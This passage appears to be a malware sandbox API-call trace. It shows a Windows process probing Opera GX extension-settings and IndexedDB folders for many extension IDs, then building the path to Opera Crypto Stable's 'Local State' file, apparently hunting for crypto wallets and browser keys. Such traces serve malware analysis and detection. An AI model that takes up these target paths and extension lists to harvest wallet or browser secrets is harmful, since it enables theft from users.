[0052.735] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.735] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.735] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\jnkelfanjkeadonecabehalmbgpfodjm") returned 127
[0052.735] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\jnkelfanjkeadonecabehalmbgpfodjm\\CURRENT") returned 135
[0052.735] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\jnkelfanjkeadonecabehalmbgpfodjm") returned 126
[0052.735] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\jnkelfanjkeadonecabehalmbgpfodjm\\CURRENT") returned 134
[0052.735] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_jnkelfanjkeadonecabehalmbgpfodjm_0.indexeddb.leveldb") returned 149
[0052.735] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_jnkelfanjkeadonecabehalmbgpfodjm_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.735] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\jnkelfanjkeadonecabehalmbgpfodjm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\jnkelfanjkeadonecabehalmbgpfodjm\\current")) returned 0xffffffff
[0052.735] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.735] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.735] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk") returned 127
[0052.735] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk\\CURRENT") returned 135
[0052.736] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk") returned 126
[0052.736] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\kjmoohlgokccodicjjfebfomlbljgfhk\\current")) returned 0xffffffff
[0052.736] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.736] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.736] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\bhghoamapcdpbohphigoooaddinpkbai\\current")) returned 0xffffffff
[0052.736] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\sync extension settings\\bhghoamapcdpbohphigoooaddinpkbai\\current")) returned 0xffffffff
[0052.736] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.736] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.736] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\gaedmjdfmmahhbjefcbgaolhhanlaolb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\gaedmjdfmmahhbjefcbgaolhhanlaolb\\current")) returned 0xffffffff
[0052.737] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\gaedmjdfmmahhbjefcbgaolhhanlaolb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\sync extension settings\\gaedmjdfmmahhbjefcbgaolhhanlaolb\\current")) returned 0xffffffff
[0052.737] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_gaedmjdfmmahhbjefcbgaolhhanlaolb_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\indexeddb\\chrome-extension_gaedmjdfmmahhbjefcbgaolhhanlaolb_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.737] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.737] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.737] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\oeljdldpnmdbchonielidgobddffflal\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\oeljdldpnmdbchonielidgobddffflal\\current")) returned 0xffffffff
[0052.737] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\oeljdldpnmdbchonielidgobddffflal\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\sync extension settings\\oeljdldpnmdbchonielidgobddffflal\\current")) returned 0xffffffff
[0052.737] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_oeljdldpnmdbchonielidgobddffflal_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\indexeddb\\chrome-extension_oeljdldpnmdbchonielidgobddffflal_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.737] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.737] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.737] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ilgcnhelpchnceeipipijaljkblbcobl\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\ilgcnhelpchnceeipipijaljkblbcobl\\current")) returned 0xffffffff
[0052.737] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\ilgcnhelpchnceeipipijaljkblbcobl\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\sync extension settings\\ilgcnhelpchnceeipipijaljkblbcobl\\current")) returned 0xffffffff
[0052.737] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_ilgcnhelpchnceeipipijaljkblbcobl_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\indexeddb\\chrome-extension_ilgcnhelpchnceeipipijaljkblbcobl_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.737] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.737] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.737] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\pnndplcbkakcplkjnolgbkdgjikjednm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\pnndplcbkakcplkjnolgbkdgjikjednm\\current")) returned 0xffffffff
[0052.738] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.738] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.738] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\egjidjbpglichdcondbcbdnbeeppgdph\\current")) returned 0xffffffff
[0052.738] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.738] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.738] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\aholpfdialjgjfhomihkjbmgjidlcdno\\current")) returned 0xffffffff
[0052.738] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.738] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.738] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\jnlgamecbpmbajjfhmmmlhejkemejdma\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\jnlgamecbpmbajjfhmmmlhejkemejdma\\current")) returned 0xffffffff
[0052.738] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.738] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.738] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kkpllkodjeloidieedojogacfhpaihoh\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\kkpllkodjeloidieedojogacfhpaihoh\\current")) returned 0xffffffff
[0052.738] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\kkpllkodjeloidieedojogacfhpaihoh\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\sync extension settings\\kkpllkodjeloidieedojogacfhpaihoh\\current")) returned 0xffffffff
[0052.738] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\indexeddb\\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.738] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.738] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.738] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\mcohilncbfahbmgdjkbpemcciiolgcge\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\mcohilncbfahbmgdjkbpemcciiolgcge\\current")) returned 0xffffffff
[0052.738] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.739] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.739] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\epapihdplajcdnnkdeiahlgigofloibg\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\epapihdplajcdnnkdeiahlgigofloibg\\current")) returned 0xffffffff
[0052.739] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.739] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.739] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\gjagmgiddbbciopjhllkdnddhcglnemk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\gjagmgiddbbciopjhllkdnddhcglnemk\\current")) returned 0xffffffff
[0052.739] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.739] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.739] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\kmhcihpebfmpgmihbkipmjlmmioameka\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\kmhcihpebfmpgmihbkipmjlmmioameka\\current")) returned 0xffffffff
[0052.739] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.739] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.739] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\bgpipimickeadkjlklgciifhnalhdjhe\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\bgpipimickeadkjlklgciifhnalhdjhe\\current")) returned 0xffffffff
[0052.739] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.739] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.739] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\phkbamefinggmakgklpkljjmgibohnba\\current")) returned 0xffffffff
[0052.739] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.739] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.739] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\ejjladinnckdgjemekebdpeokbikhfci\\current")) returned 0xffffffff
[0052.739] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.739] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.740] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\efbglgofoippbgcjepnhiblaibcnclgk\\current")) returned 0xffffffff
[0052.740] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.740] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.740] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj\\current")) returned 0xffffffff
[0052.740] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.740] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.740] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\aijcbedoijmgnlmjeegjaglmepbmpkpi\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\aijcbedoijmgnlmjeegjaglmepbmpkpi\\current")) returned 0xffffffff
[0052.740] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.740] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.740] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fiedbfgcleddlbcmgdigjgdfcggjcion\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\fiedbfgcleddlbcmgdigjgdfcggjcion\\current")) returned 0xffffffff
[0052.740] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.740] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.740] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\nngceckbapebfimnlniiiahkandclblb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\nngceckbapebfimnlniiiahkandclblb\\current")) returned 0xffffffff
[0052.740] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.740] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.740] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fmhmiaejopepamlcjkncpgpdjichnecm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\fmhmiaejopepamlcjkncpgpdjichnecm\\current")) returned 0xffffffff
[0052.740] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.740] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.740] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\oboonakemofpalcgghocfoadofidjkkk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\oboonakemofpalcgghocfoadofidjkkk\\current")) returned 0xffffffff
[0052.741] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.741] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.741] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\nngceckbapebfimnlniiiahkandclblb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\nngceckbapebfimnlniiiahkandclblb\\current")) returned 0xffffffff
[0052.741] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1817e4 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.741] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.741] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Opera Software\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\"
[0052.741] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\", lpString2="Opera Crypto Stable" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable"
[0052.741] StrCmpCA (pszStr1="Opera Crypto Stable", pszStr2="\\Opera Stable\\") returned -13
[0052.741] StrCmpCA (pszStr1="Opera Crypto Stable", pszStr2="\\Opera GX Stable\\") returned -13
[0052.741] StrCmpCA (pszStr1="Opera Crypto Stable", pszStr2="Opera Crypto Stable") returned 0
[0052.741] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1817fc | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.741] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.741] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Opera Software\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\"
[0052.741] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable"
[0052.741] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable\\"
[0052.741] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Crypto Stable\\Local State"
[0052.741] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x67d910
[0052.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=85, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85
[0052.741] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xaa) returned 0x67d978
